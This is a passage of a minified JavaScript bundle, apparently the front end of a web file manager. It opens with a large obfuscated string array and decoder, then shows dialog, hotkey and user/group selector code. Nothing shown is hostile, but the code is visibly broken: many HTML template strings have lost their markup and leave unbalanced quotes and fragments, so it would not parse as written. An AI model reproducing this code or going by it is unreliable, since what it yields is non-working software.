rJEOg==","w5lYT8Oocw==","wq4jCBQKw5HChjbCsMOkw6RKw7o=","w5Rnwr5Few==","QiA1JsKf","GA3DvQ==","Mh3CuMKLwo0=","w7HCmk7DsQ8V","SMKbbXxtwoR8JQ==","wpnCrsKJw5QfA3N+AMOFwofDjzcRwrF+w48p","w7DChsOnRzfDosOkw5MMw5A=","w7XDgsOyL0xiwrjCvcKIw5PDiF/CimNPWQ5Lw5keTsOrT8Kewpg=","wrc0wqvCjMKpeh4=","w4ZKZ8OcVMK2w67DmsK9VCrDpF4Sw5fDuG7DtURFDA==","w77Dn8O1BUx8wrnCqsOV","McKDw5nCv2HDvzYFWS1GwoHCvMOPw7zDt2B+wpE1","wpXDk18gYhc=","w6PCl8OvdA3ChsOFQcOzRsKJw7QLwpZ1w6x3w6HDmcKtVS0Dw5rDpA==","IFrDhAzCisKBLg==","HsOvC8Ovf8KaeMOywqbChhHDtcOMw57CvCPDuMKxAcOLw4wK","DA3DvcKwTxfCpw==","Ln3CmsKVXsO+V8K+wrYJw4HDqlDCknF7BU3CksKUw453","w4BUwogmTsKVbA==","woLDjkEtYADCgcOJWD8Lw54VZsKIasKXc8K9PglL","w5RQwrBKVcKEX8OM","PsOWVkzChhY/w7rCmcKMYGAEwr/CqcKCwoTDisOLwqfDkW8s","wrR4IlbCoMOB","w7XDgsOyL0xiwrjCvcKIw5PDiF/CimNPTQpMw5ouRMO3a8Kawo0=","H8Knc3FawprDsg==","BCfCj1vDtcKOwpjDnsKkScKreMOZwrHClMOqasOZf8K3J8Kw","w5FXdMOJWMKow67DusO3TjDDr0kP","HsOvC8Ovf8KaeMOywqbChhHDtcOMw57CvCLDuMKmPMONw5MMB3kUasKxwo7Cnw==","EzrCnE7DucKQwpjDqMOuTMKgaMOZ","w7HCm8OkQCzDv8Oxw6BTw4kka8Kkw788w63CgzzChXUvwrjCrsK7wp8dcMKp","HAfDucKI","NkfDgCTCgMKAKBTCvn0gego6PcKZw5PCosOxUcOxwpTDuA==","wqp2P2w=","BCfCj1vDtcKOwpjDnsKkScKreMOZwrHClMOqasOZf8K4PcKjAg==","agPDqcKa","McKDw5nCv2HDvzYFWS1GwoHCvMOPw7zDqmpuwpAXYsKlew==","bMK0bglaGQ==","w5LCtcOpwpV6Ty3Dr8Ktw4/DoBUJw5zDgMOrQsKxDSQ/BcKOaFI=","wp/CucKJw4EkHg==","asK5agBhBHzCnx8AwrPDpFJzFFMhw7jDuTgFXsK4BsKN","L1cHwo3Cizgtdw4=","GhDDucKdVRHCqsORY1zCvMKGBcKEw7sHAwzDjVl2TcKaw7U=","LnRLJcKDB0rDvxRbZic=","w7XDgsOyL0xiwrjCvcKIw5PDiF/CimNPWwJUw5cuTsOsYMKCwofDtMOC","w516d8KDK0bClg==","aUtVNnglwoI8woIZw6LClcO1I0DDosOWacKjw6bDrcKN","MsKSw4XCtkHDuCc1Dw==","wrlGNMOSPRhnX2PCjmrDszrChjDDvcKrwqMmwod6w4Z3MA==","w6LDqVEHwr3CmiTCpw==","BCfCj1vDtcKOwpjDnsKkScKreMOZwrHClMO8YsOBcsKoKcKhAg==","wrghARofw5A=","asK5agBhBHzCnx8cwq3DrFhqXwwmw6XDvR4/XsKtPcKDw5A=","w5pQwpw3wpTDtkDCqUZ/wrIqwr7CmQ==","ERHCj8KjwoN6wrzCkHdPwrTCiypTwr3Cq3bDiMOQOCsWY39vwq3DrQlqwoQ=","w49UwpgAwpXDoA==","U8OJwo4+wrpTLcOWwqHDn2HCjzzCjjXDsA==","LnxREsKiBVLDpx0=","wqrCq20bw7oUfsKMwq3Cu8Odw6TCmsKnw4rDrw==","w7LCgsOifibDo8O1w78Z","w4ZKZ8OcVMK2w67DmsK9WyXDthQYwp3Du2TDvkg=","wq9iPUTDicOyTMKLMgs=","wrwpwqzCpsKvZB5Ww4fCvMOBQcOnwpvCjxLDsXbDgxg=","fAPDrMKjF0sfwqtgRQ5Ucw==","w6bCg1DDuQ8Kw7nDqsOAWsKmwrskDHzDiRk1ZsO2wrjDr8Kk","EgjCicKdwol7wrzClgtVwrbCkw==","wpnCrsKJw5QfA3N+AMOPwo/DimxMwqRsw541J8OHw7XDpQ==","e8KgfSBnBW0=","wpnCrsKJw5QfA3N+AMOdwo/Dm2xZwqRr","woDCkMKxIcKqw6Q=","KMOHw4bDgMKYw6EawooswrHDg8OtYHhqHA==","KW8GcC7Cgg0=","ERHCj8KjwoN6wrzCkHdOwqXCgGpXwr3DrXE=","w51UwokTwpTDqWvCsFQ=","woJFwrbClgw6cHMMwpXDscO/w71WOsOIYMO5wq0=","acOqw5/Di8KBV1wZwqXDtg==","wqXCqxB5NcKbPcKxA28VO1x7w6M+UMO5L8O1","eFJCF3ghwoIMw4IEw7jCnsO9","woLDjkEtYADCgcOJWCIEw51fc8OIb8KXRcKfLwlFBQ==","wrvCsnolw7AVfsKKw5HCssOOw6Y=","HsOvC8Ovf8KaeMOywqbCmx7DtsKGw5TDtiPDuMKxFsOBw40d","w7LCisO4STDDn8Oxw6EZw5QebsKm","QA8DD8KcHMOaXgfDlcK0w6/CiMKIO0onMMKMw4rCvn4BAcKBwoc=","NVbDnC3CnMKzKQLDhXsafwg=","wqgpHRkRw4bCpijDusO9w6BDwqFrTcOxwr/Du00FwqrCtEzCk8O5dQ==","w516d8KDF2HChz4RwqjDrFHDkcK8AEbCtcKM","w5LCtcOpwpV6Ty3Dr8Ktw5LDrxZDw4LChsO3RsK2NwInHsKdWXvDoxVKUcOpIw==","DA3DqMKDWQs=","NkfDgCTCgMKAKBTCvn0gego6PcKaw5fCt8OrccO2","wqxnIn3DicO2bsK6KQ==","SCzCiSNUwrjChsOCMlfCmVJGeEfCq31VKcOzwrg8Aw==","w4Q2BsO/KgRKBMKPw5o=","SCzCiSNUwrjChsOCMlfCmVJGeEfCq31VKcOzwqw4AcKn","w6bCn0nDoQ8Kw5/Dt8KBWsKuwqo=","OHYRWSXCmRzCvMK1wo7DjHUDwoLDgsKoZcKdFsKuwoJ4wpHCvsOG","w6rDk8Oy","wrlGNMOSPRhnX2PCjmrDszrChjDDocKrwr8=","WDrCgyZL","wolJLDTDqDkbHMKlCMKEw60QRMOQwrlTOsOrw7Y=","IcKVw5PCun7DgToEAg==","NkfDgCTCgMKAKBTCvn0gego6PcKcw5zCrMOwYsOSwo3DssOV","NlIewrnChiAiaQXDrXw=","w6bCg1DDuQ8Kw7nDqsOAVcKpwqluGTzDhRUHTcOtwrvDrsKlwprDiT0=","wo59JsKlw7fDlcKDKMOvw4MuPMKjBMKTHMKVwoI=","wrwpwqzCpsKvZB5Ww4fCqcOIVsK6wpPDjwLDvU7DiSwSw63Dg8KywpDDkQxYNsKdwofDlEI=","wqbCvnwQw7A0dMKKw6PCqcOZ","HsOvC8Ovf8KaeMOywqbChhHDtcOMw57CvDnDsMKkIsOLw60GIX0Tew==","Wl7CvF3CjSo7Kg==","w5kTwoYIRHzCjcKQw7DDlMOmBzRWwp3DlB4dw5QdwqHDmg==","w6PDksOjMUZRwrnCqw==","woLDjkEtYADCgcOJWCMWw58CTcOPeMKAYsOfOhlO","PsOXw5fDnsKSw5YbwpF3","ERHCj8KjwoN6wrzCkHdPwrfCgjdhwrHDpXfDiMKNKyoNUw==","aQrDu8KcHXkfwoVqRR8=","wolJLDTDqDkbHMKlFMKZw6wHb8KXwq1PJcKtw6JWwqM=","wpt8K8Kyw5bDvsKdNcOzw4AuIQ==","w6HDuE0OwoHCiTfCsMKEw5M/UFpTcXrCi8K0DBTChsOrwrvDhSXDrC7Dixp9w7s=","w4TCpcO4wotwaSnDr8Olw4PDuiINw5LCig==","OHYRWSXCmRzCvMK1wp7Dm3kFwr7DmMOmZMKdNsKMwp9xwpLCo8KOFyt1dA==","wqp0KFHCosOlIMKQwovCnyhU","w4QqH8OnKgR8F8OWw5NPw67CiMO6w4HDjcOHw7VAXMKU","woBYOzDDswoOHsOPBcKDw70=","w6HDuE0OwoHCiTfCsMKEw4olUkB0WGvCicO+RgPCh8O+","wpjCmMKxCMK6w4EDYjh4ZsKUw4EO","GhDDucKdVRHCqsORY1nCu8KFCMKIwpUUH0rDmV51","DTbCmF/DrsK9wo3DnMOKRMKh","w5kTwoYIRHzCjcKQw7DDjcO8BS5xwrTDhRxXwpoewqA=","w59YwpsDX8KgfcOBwqLCk1DDh8O1wqzDgMON","wpnCrsKJw5QfA3N+AMOFwofDmytKwoBvw4tuE8ONw7PDhB7DlRQVOQLDkA==","w4tbZMOEVMK2w7LDpMO7TjA=","wqgpHRkRw4bCpijDusOhw6hXw7piVsOkw7XDr2kV","w5QCwoUQRHzCkcKwwrrDjMO6FCM=","wqrCq20bw7oUfsKMwq3CtcOVw6HDgcKsw53DusKPw6/CrGXDpQhv","w5QCwoUQRHzCkcKhwrPDhMO0EA==","wrwpwqzCpsKvZB5Ww4fCssOJRMK8wpnCkh3Cu0HDgA0cw6g=","w4xYwrdWc8KYQMOxSw08wq7CqEjCug==","w7HCm8OkQCzDv8Oxw6BTw4gjfMK1w6hhw6bDiS3Ck3ovwr/Ci8K9wpg=","wqU4HgERw4bCugnCsMO9w4VBw7psTcOx","woJFwrbClgw6cHMMwonDucOrwqZLLcOcIMO8wq0zD2FvwrbDokM=","Z8KoaRhhBGDCq1kFwrjDj0J/","ERHCj8KjwoN6wrzCkHdSwq3ClDFdwqvDvSrDi8OLIisrUmQ=","CsK+c3x4wpE=","wpfChWkQw7M=","B1RzesOn","w6PDrcOtLFA=","wojDl1c0Zw==","H8Knc3Er","wrdzAcOnFQ==","wrfChsKhw6s1","Rz7Cm1PCpw==","woRKAMOIBw==","ZcOdwqggwo8=","dyDCs1QYwrhdJMKz","RMO/w4/DssK2","YcKfQ1tu","ZWPCmm7CrA==","woN5PWrChA==","dFJVCF0=","NcOVw5HDnsK+","L8O3wozDusOdXQgxw7o=","wrrCu8KNw4gg","w5YeFcOMEg==","woVfeMOUUsKiw7LDvMO7UCHCvQ==","fhPCkyBB","EAjCi8Kuw4JlwrbChjFcwr3Csyxfwrw=","wo9QLRHDjg==","XcOkEsO5dcOV","w7/CjsO3wp1x","BT7Ci1bCtMKPwpTDlsOu","wrR0L8OUPw==","fjvCtRlB","aloNwp7CjCQ/UQXDp30APw==","w4ZhwrZDXg==","SMOvcQNqWHjCjlMMwq7Ds2NkUEYu","NXoyeA8=","dyDCs1QTwqJeCMKmwr9Ewr4=","w7kZBsOOMw==","w5JcSsKrMQ==","w7F/wpRlXw==","wo9JwrLCig==","wqNXwp/Cnzc=","w6UeAcOIMg==","QicrIcKa","aMKndQ1H","PcKuY1ZO","f0dEKGMkwrAnw5kY","wpxNG07DpQ==","w6U4NsOuEQ==","woTCnw5WLQ==","esOtw5fDp8Kn","w5dmwqtNbw==","wrPChA96KQ==","XcKlbnZS","fijCuUQ/","w6jCtmXDjCc=","R2N9CVI=","N8KyQ29D","XETCsWLCiQY7","w7ddwpJQRg==","LWzChsKcdcOjRcKiw7UPw47DqmbCnj96FA==","w7TDoUkKwqfClTTCrQ==","w71FwrNWRA==","wrvCnMKUIsKB","GmZ1TsOT","VxIeDMKFCw==","wpB+LcKyw7o=","w5BCe8OZTw==","LnRLJcKDB0rDvxRbZid2w7fDtMOJdA==","J8Ksw4bCvH0=","HcODUlDCuQ==","P1FdB8KQ","esOuw4w=","wrTDsVsudQ==","KGTCm8KweA==","a1ZR","YXXCs0vCjA==","woTDmVUk","eFpVKQ==","wqUbBh8T","MjDCs2HDoA==","L3hT","w4kZwpopSmXCjQ==","w6zDtG4vwqs=","wrR6NR3DsQ==","wrYwwrrCv8Ko","w5p+wq0mfg==","wrXCp20Dw7A=","w71FTcKQLg==","5omW5q20w6rlvZTkvoLlsIfolKjkuofmlqTkuJfkupvov6XDvuivk+WJmOaPh+WIv+WHueS4nua0iOimg+WZrOWGluisgsKq","w47ChcOywqNt","w6nCt3IAw7sKdMKfw6bDoMKN","LMOlw7XDmcKe","f8OMw5rDksKM","VsKjQHBu","wo9YwpoZSsKMaMKRwoTCk1/CrsK+","B3QLcCY=","TcOmdG1vwpnDsMO0w45Yw6Atw7cgwrFJwo7Dsy9gaR5sw4zCgcOEHhTCmHrCshHChA==","wphMOcKkw6Q=","wqLCvARs","w7TDmMOxAEE=","w60FwpE3QA==","wrNIC3fCgA==","XsO2wrIcwpo=","wooEHw8a","w59Wwqshfw==","w6fCv8Oswo5B","w5hXwrsTwrw=","CTfCiXTDuA==","CwrDrMKVfQ==","wrrCp3ocw7M=","f8O5w5fDscKdREsEwpk=","wpDDk1g5Zhw=","wqLCoQ9iKcKMKg==","wpRcwqDCmxEh","a8KjaS9s","eFjCunzCgw==","wpdzKGrCvQ==","w5NUV8KoKw==","OT7Dn8KHcA==","w4Y3Gw==","wp/CucKXw4wVH2JbRsOHworDkzQ=","C8KpZGx7wpDDu8K9","O0kHwonCjA==","wro9wrPCucKl","wrA/wr/CpsK1ch5X","w7/Cp8O0Qho=","dSvCrHI1","w6NkwrZYeA==","w7lHwps2wqU=","asOuw5HDvsKHTw==","TybCljhIwq/CkQ==","wq9fIsOfIAM=","w43CucOpwo1w","aMKkV29r","wqQ/DhkLw5DCpik=","JEYKbzI=","dsKJcTZ2","wrrCpxBhPw==","AAXCvELDsw==","bcKGeDhs","wpRgHTHDiA==","c0zCt2rChA==","PnJ3eMOvwpNrAQ==","JMKjw5rCt1k=","YyrDscK0AA==","JcOXw4DDr8KV","w4dTwpkPbA==","FCvCmFzDvA==","K27DsSHCoA==","w4rDgMOoBk8=","wolkOsKlw53DnsKgKQ==","bcOTw4vDosK5","wojCmytUGw==","HGPCk8KjQQ==","WV9MDm0=","D1LCsljChgExPwTCtiQ=","NcOXw4HDlMKC","wojDjkcZQQ==","JsOQw5LCgsKgw5Y9wqdRworDrcOe","w7zCj8OXaC4=","w7NFdsO8bA==","w5lbwoQDTA==","w5YGIMOMNQ==","w6HDq3APwps=","w7zCucOuwr5e","w7Nywosowpo=","Sz3ClSp0wr/Clw==","fsK1dCZb","w7XDp1M1wok=","LW8VXXc=","w73DrV8lwpY=","wrYdwrDCvsKh","CEBwe8OY","woZQB8OEBA==","w71Uwp8ocw==","wpHCrMO6wppwTjvDicOtw43Dqx9R","Bm0JwpLCug==","w64bwoUuwpXCqmXCpVJ0wq02wovCkh3Ci1U=","w48fwpcWX33Cv8KLwqvDiQ==","wrjCuxdtLw==","QizCjxd1","woB4CcKEw54=","TBkXBsKLIcOZ","w5QHwrUgRg==","w6fCusO4wrVC","w4s/wrkjWw==","BHMlwrzCqA==","wr/Csm8Ew7AzacKS","w5xDwpUMQsKP","wqokwr7CucK0ZA==","N8OLSEfCnQw=","DMOIX3rCmQ==","RMOUwo4+wrRCLQ==","wpXDk0EtbhHCgQ==","VxIDD8KSDcOa","wofCm1Y2w5Q=","PFocwo7CjAI+aQ==","w5MZwp8DQmA=","HMKzZWpiwoc=","IF4AwprCnT8=","w5vDjsO1BGg=","aAfDqsKCGV4f","wobClMKmDMKvw6MW","L2sRWSvCiBw=","w6XDiMOuDkJ7wrg=","JcKPw4fCmVs=","OmLChMKuVg==","w7hFwossYA==","T8OcwpwVwq0=","w5x9wpAfSg==","wpvCvcK6FMKv","wprCv3Qjw68=","w6F9WMKcMg==","BWDCicK6aQ==","ScKXdQ==","RcKXfQNd","w4YuwqE+bA==","Vz0pCMKj","w70uwoQ0Tg==","w6PChcOaWio=","wqxGLkHDlg==","A2zCi8KSdg==","w78JwoEHXg==","Ly7Ci0XDgw==","wqpFH8KDw7Q=","w5LCg8OLUgk=","KMOSw53Do8Ku","A8O6PsOhYg==","TcKIQA5r","LXlONMKoGnrDtAw=","w5YswqcMWg==","w6AXHcObIA==","w6bCkWXDlyg=","w5zCisO1RwQ=","w4Nywr8pwoA=","wqVyK1w=","YyXCjT1i","wqVswpPCuSQ=","woJQwq3CtTo=","w550wpN4Ww==","w7PDlsOtMEY=","w7F4wqYJTg==","w7DCgsOgTQ==","w4BdecOEXsKqw78=","CFpdTMOS","w7ktWwlMw4jDsibDpsO1wrRYwrZxE8Ohw6PDtDw=","w4DDqsOsFHY=","w6zDpVwG","w7rCicOQYw4=","w4w2Wg==","wrlbHsKFw58=","CxUFwpLCjXknag7DhVw=","w57DsEkMwp0=","T8KHdXFiwp92IU4=","wrNiLVPDjA==","w7LCu8O8wpdhTg==","MS7DpMKyUA==","LW1yacOkwoURD8K2wphsVcKS","KEwCYgY=","RgrDjcO6wrhFwrXCszYCwo3Cgy9Zwr3DpkbCmMObOggzQSNOwrDDuVBewq8OOBTCsUZtwofDiMOCczbCqE5qwroIw55eEcKzwpUwwpUFDMOfwq/DqETDpcK/wrvCrRvCrcOrbkXChMKcAEseZVbDpEY+UW8mYcOmw6DCoErDkQ1Fw44ySVhTwo3DqkjCrMOk","dSfDm8KfEA==","wqbCnFI7w5c=","BsOYInYZw5Q4dxk=","w4LCvcO3TxU=","Gw/CjXvDjg==","VcKjcS56","w49+FRw=","w48cwqAdeQ==","w7ExGsO6Cg==","McOIRwjDgw==","wqJ4woHCtBo=","MMK3Jw==","wqbCh8K7w6AW","w5zCkFTDvA0d","wqTDukkYeQ==","w48IwoQNW3o=","F1QXfyM=","KWsZQWXCgRjCuMO7wpjDi24ewp3DhA==","wpDCpcKIw4wK","w5pywowjRg==","OsO9dHTCvQ==","L8OHS0U=","csOWwpomwq8=","D2sQQC/CmA3Cj8O8wp/DjW4swoDDlcOqdMKdEMKhwoRlwoPCig==","KwXCtkPDqw==","AXA2wqzChg==","YzzCqC1i","wp/Dk1YjZg==","w7JiwrJBZA==","w5JkSMKfLA==","asKkYFRy","woRFKCjDtHFRQcOrEcKDwqceU8Kbwq9RL8O3w6IdwqzCkcOcwofCk8O4wo1wwrxmw4LDjwzDlER6wr7DhHvCncKqwqAnw67DrQ==","WU/CmXvCkA==","CzfCmCNXwqjCgsOTdg/Dgg=="];a=r,function c(e){for(;--e;)a["push"](a["shift"]())}(351);var m=function m(e,t){var i=r[e-=0];if(m["GgXOaR"]===undefined){!function(){var e;try{e=Function('return (function() {}.constructor("return this")( ));')()}catch(t){e=window}e["atob"]||(e["atob"]=function(e){for(var t,i,n=String(e)["replace"](/=+$/,""),a=0,r=0,o="";i=n["charAt"](r++);~i&&(t=a%4?64*t+i:i,a++%4)&&(o+=String["fromCharCode"](255&t>>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o})}();var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s
    ',t+=i(n["explorer.toolbar.uiExplorer"]),t+='
    '}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){window.core={"path2url":function(){var e=_.get(window,"kodApp.pathAction.pathModel")||_.get(window,"kodApp.pathModel");return e?e.fileView.apply(e,arguments):""},"icon":function(){var e=_.get(window,"kodApp.pathAction.pathData")||_.get(window,"kodApp.pathData");return e?e.pathIcon.apply(e,arguments):""},"openDialog":this.openDialog,"openWindow":this.openWindow,"qrcode":this.qrcode,"openFile":function(e,t,i,n){e=_.includes(e,"?")?e:e+"?";var a=i[0],r=i[1],o=i[2],s=e+"&path="+urlEncode(a)+"&name="+urlEncode(o)+"&ext="+urlEncode(r);return s=n?s+"&"+n:s,"window"==t?core.openWindow(s):core.openDialog(s,core.icon(r),o)},"pathImage":function(e,t,i){if("http"==e.substr(0,4))return e;var n=core.path2url(e),a=t?"&type=image&width="+t:"";if(!i){var r=$("[data-path="+hashEncode(e)+"]");i=_.get(r.data(),"fileItem.modifyTime")}return a+=i?"&etag="+i:"",_.includes(n,"?")||(n+="?"),n+a}}},"qrcode":function(e,t){"./"==e.substr(0,2)&&(e=$.parseUrl().urlPath+e.substr(2));var i=API_URL("user/view/qrcode","url="+quoteHtml(urlEncode(e))),n="";$.dialog({"follow":t,"fixed":!0,"resize":!1,"title":LNG["common.qrcode"],"padding":30,"content":'
    '+n+"
    "})},"openDialog":function(e,t,i,n,a){if(e){n==undefined&&(n="openDialog"+UUID());var r={"id":n,"fixed":!0,"title":i,"ico":t,"width":"80%","height":"75%","padding":0,"content":"","resize":!0};return r=$.extend({},r,a),ShareData.frameTop().$.dialog(r)}},"openWindow":function(e){return window.open(e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"bindHotKeyEvent":function(){this.$el.attr("tabindex","1");var e=new Mousetrap(this.$el.get(0));this._bindHotKeySave(this,e),this._bindHotKeyCopy(this,e),this._bindHotKeyPast(this,e)},"_formHash":function(){var e=[];return self.$("[name]").each(function(){e.push($(this).attr("name"))}),e.join(";")},"_bindHotKeySave":function(i,e){e.bind(["ctrl+s","command+s"],function(e,t){return i.$(".form-save-button").trigger("click"),stopPP(e)})},"_bindHotKeyCopy":function(n,e){var a=function a(e){var t=n._formHash();if(t){var i=jsonEncode({"type":"formMakerData","formHash":t,"value":n.getValue()});return $.copyText(i),Tips.tips("form:"+LNG["explorer.copyOK"]+"
    ",!0,2e3),n.$el.flash(),stopPP(e)}};e.bind(["ctrl+c","command+c"],function(e,t){if(!$.isEdit()&&!$.selectText())return a(e)})},"_bindHotKeyPast":function(e,t){this.hotKeyOnPast=_.bind(this.hotKeyOnPast,this),$(document.body).bind("paste",this.hotKeyOnPast),this.bind("onRemove",function(){$(document.body).unbind("paste",e.hotKeyOnPast)})},"hotKeyOnPast":function(e){var t=window.clipboardData,i=(t=t||e.originalEvent.clipboardData).getData("Text");if(-1!=$(":focus").andSelf().index(this.$el)&&i&&_.startsWith(i,'{"type":"formMakerData"')){var n=jsonDecode(i),a=this._formHash();_.isObject(n)&&n.formHash==a&&(this.setValue(n.value),this.$el.flash(),Tips.tips(LNG["explorer.pastSuccess"],!0,2e3))}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-auth select","init":function(){},"selectDataMake":function(t,e,i){var n=this;this.adminModel.cacheRequest("authList",!1,function(e){n.dataFilter(t,e),i&&i()})},"dataFilter":function(e,t){if(!t.code)return Tips.tips(t);var i=t.data,n=[];for(var a in i){var r=i[a];"0"!=r.display&&n.push({"id":r.id,"text":r.name,"info":r})}e.data=n,e.templateResult=function(e){var t=e.info&&e.info.label||"label-grey-normal";return $(""+("")+""+e.text+"")}}})},function(e,t,s){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"searchRequest":function(n,a){var e=_.pick({"groupID":"groupSearch","userID":"memberSearch"},this.keyID),r=$.objClone(e);this._each(r,function(e,t){r[t]=!1});var o=function o(e){_.every(r)&&e(_.flatten(_.map(r)))};this._each(e,function(e,t){var i={"words":n};this.adminModel.cacheRequest(e,i,function(e){r[t]=e&&e.code&&e.data.list||[],o(a)})})},"searchKeyEvent":function(e){var t=this.$dropdown.find(".group-list-search .search-item");if(0!=t.length){0==t.filter(".hover").length&&t.first().addClass("hover");var i=t.filter(".hover"),n=t.index(i);switch(e.key){case"ArrowUp":var a=n-1<0?n:n-1;i.removeClass("hover"),t.eq(a).addClass("hover");break;case"ArrowDown":a=n+1>=t.length?n:n+1;i.removeClass("hover"),t.eq(a).addClass("hover");break;case"Enter":1==i.length&&i.trigger("click");break;case"Escape":this.menuClose();break;default:return}return stopPP(e)}},"bindEventSearch":function(){var r=this,n=this.$dropdown.find(".select-search input"),o=this.$dropdown.find(".search-clear"),a=_.debounce(_.bind(this.searchRequest,this),200);n.bind("keydown",_.bind(this.searchKeyEvent,this)),n.bind("change keyup",function(e){if("Escape"==e.key)return o.trigger("click"),stopPP(e);var t=$(this).val(),i=_.trim(t);t!=n.data("beforeValue")&&(n.data("beforeValue",t),r.searchViewSwitch(i),o.hide(),i&&(o.show(),o.addClass("ri-loader-line-4 moveCircle"),a(t,function(e){o.removeClass("ri-loader-line-4 moveCircle"),r.searchData=e,r.renderSearchView(e),r.trigger("dataChange")})))}),this.$dropdown.delegate(".search-item","click",function(e){var t=$(this).attr("data-type"),i=$(this).attr("data-id"),n=_.find(r.searchData,[t,i])||_.find(r.searchData,[t,parseInt(i)]);if("userID"==t)r.dataToggle(n),r.isSingle&&r.menuClose();else{if($.targetParent(e,".item-select"))return r.dataToggle(n),void(r.isSingle&&r.menuClose());var a=$(this).attr("data-parent")+","+i;r.expandAuto(a,"groupID"),o.trigger("click")}}),o.bind("click",function(e){r.searchViewSwitch(!1),n.val(""),$(this).hide()})},"renderSearchView":function(e){var t=s(90),i=this.$dropdown.find("input").val(),n=function n(e){var t=Pinyin.match(e,i);return t?e.substr(0,t[0])+''+e.substr(t[0],t[1]-t[0])+""+e.substr(t[1]):e},a={"list":e,"itemIcon":_.bind(this.itemIcon,this),"nameMathch":n},r=this.renderHtml(t,a,!1);this.$dropdown.find(".group-list-search").html(r);var o=this.$dropdown.find(".group-list-search .search-item");0!=o.length&&o.first().addClass("hover")},"searchViewSwitch":function(e){var t=this.$dropdown.find(".group-list-tree"),i=this.$dropdown.find(".group-list-search");e?(i.show(),t.hide()):(i.hide(),t.show())},"changeForSearch":function(){var n=this.$dropdown.find(".group-list-search");if(n.find(".search-item.this").removeClass("this"),!_.isEmpty(this.listData)){var a=function a(e){var t=e.userID?"userID":"groupID",i=e[t];n.find("[data-id="+i+"]").filter("[data-type="+t+"]").addClass("this")};if(this.isSingle)return a(this.listData);this._each(this.listData,function(e){a(e)})}}}},function(e,t,i){"use strict";var n=i(0);e.exports=function(e){var r="",t=(e=e||{}).list,o=e._,s=n.$escape,l=e.LNG,i=n.$each,c=(e.item,e.$index,e.dataType,e.dataID,e.title,e.itemIcon),d=e.nameMathch;return!t||o.isEmpty(t)?(r+='
    ',r+=s(l["explorer.search.noResult"]),r+="
    "):(r+=" ",i(t,function(e,t){r+=" ";var i="",n="",a="";a=e.userID?(i="userID",n=e.userID,""+l["admin.member.group"]+":
    "+o.map(e.groupInfo,"groupName").join(",")):(i="groupID",n=e.groupID,""+l["explorer.file.location"]+":
    "+(e.groupPath||e.name)),r+='
    ',r+=c(e),r+=' ',r+=d(e.nickName||e.name),r+='
    '}),r+='
    ',r+=s(l["explorer.search.total"]),r+=" ",r+=s(t.length),r+=" ",r+=s(l["explorer.table.items"]),r+="
    "),r}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"bindDropdown":function(){var a=this;this.$selectBox.bind("mousedown",function(e){$(e.target).existParent(".clear-select")||($(this).hasClass("open")?a.menuClose():a.menuOpen())}),this.$el.delegate(".item-remove","click",function(){var e=$(this).parents(".item-choice"),t=e.attr("data-type"),i=e.attr("data-id"),n=_.find(a.listData,[t,i])||_.find(a.listData,[t,parseInt(i)]);a.dataToggle(n)}),this.$el.delegate(".clear-select","click",function(){a.dataToggle(!1),a.menuClose()}),this.bindDropdownWindow=_.bind(this.bindDropdownWindow,this),$(window).bind("mousedown",this.bindDropdownWindow),this._delay(this.bindScrollOffset,200)},"bindScrollOffset":function(){var e=this,t=function t(){window.requestAnimationFrame(function(){e.menuPosition()})},i=this.$el.parents(".form-row").canScrollParentY()||this.$el.parents(".panel-form-body");i.bind("scroll",t),this.bind("onRemove",function(){i.unbind("scroll",t)})},"bindDropdownWindow":function(e){var t=this;if(!$(e.target).existParent(".kod-user-group-select")&&!$(e.target).existParent(".item-choice .item-remove")){var i=$(e.target).parents().andSelf();$(".kod-user-group-select.open").each(function(){0<=i.index(t.$selectBox)||t.menuClose()})}},"menuOpen":function(){this.menuStatusOpen=!0,this.$selectBox.addClass("open"),this.$dropdown.addClass("open");var e=this.$dropdown.find("input");this._delay(_.bind(e.focus,e),20),this.menuPosition(),this.trigger("menuOpen")},"menuClose":function(){this.menuStatusOpen=!1,this.$selectBox.removeClass("open"),this.$dropdown.removeClass("open").removeClass("open-up"),this.$dropdown.pose="",this.trigger("menuClose")},"menuPosition":function(){this.menuStatusOpen&&this.$dropdown.position({"of":this.$selectBox,"my":"left top","at":"left bottom-1","collision":"flipfit flipfit"})}}},function(e,t,i){"use strict";var o=i(0);e.exports=function(e){var t="",i=(e=e||{}).isSingle,n=(e.searchTipsAll,e.LNG),a=o.$escape,r=e.selectType;return t+='
    ',t+=i?'
    ×
    ':'
    ×
    ',t+=" ",t+='
    '}),i+='
    '}},function(e,t,i){"use strict";var s=i(0);e.exports=function(e){var t="",i=e=e||{},n=e.LNG,a=e.addAll,r=s.$escape,o=e.selectType;t+='
    ';i={"user":n["admin.member.searchUser"],"group":n["admin.member.searchGroup"],"all":n["admin.member.searchAll"]},a={"user":n["admin.member.memberAdd"],"group":n["admin.member.groupAdd"],"all":n["admin.member.allAdd"]};return t+='
    ',t+=r(n["common.clear"]),t+='
    "}},function(e,t,i){"use strict";var n=i(0);e.exports=function(e){e=e||{};var l="",c=n.$escape,d=e.LNG,t=e.list,h=e._,i=n.$each,u=(e.item,e.$index,e.parentName,e.authID,e.title,e.authList),f=(e.user,e.group,e.groupInfo,e.groupName,e.window),p=(e.itemName,e.itemIcon);return l+='
    ',l+=c(d["explorer.selectObject"]),l+='',l+=c(d["explorer.parentGroup"]),l+='',l+=c(d["explorer.actionAuth"]),l+="
    ",t&&!h.isEmpty(t)||(l+='
    ',l+=c(d["explorer.noData"]),l+="
    "),l+=" ",i(t,function(e,t){l+='
    "+d["admin.member.group"]+":
    "+h.map(e.groupInfo,"groupName").join(",")}else if(e.groupID){var o=e.groupPath&&e.groupPath.split("/");i=o[o.length-2],n=u.group&&u.group[e.groupID]||"",a=""+d["explorer.file.location"]+":
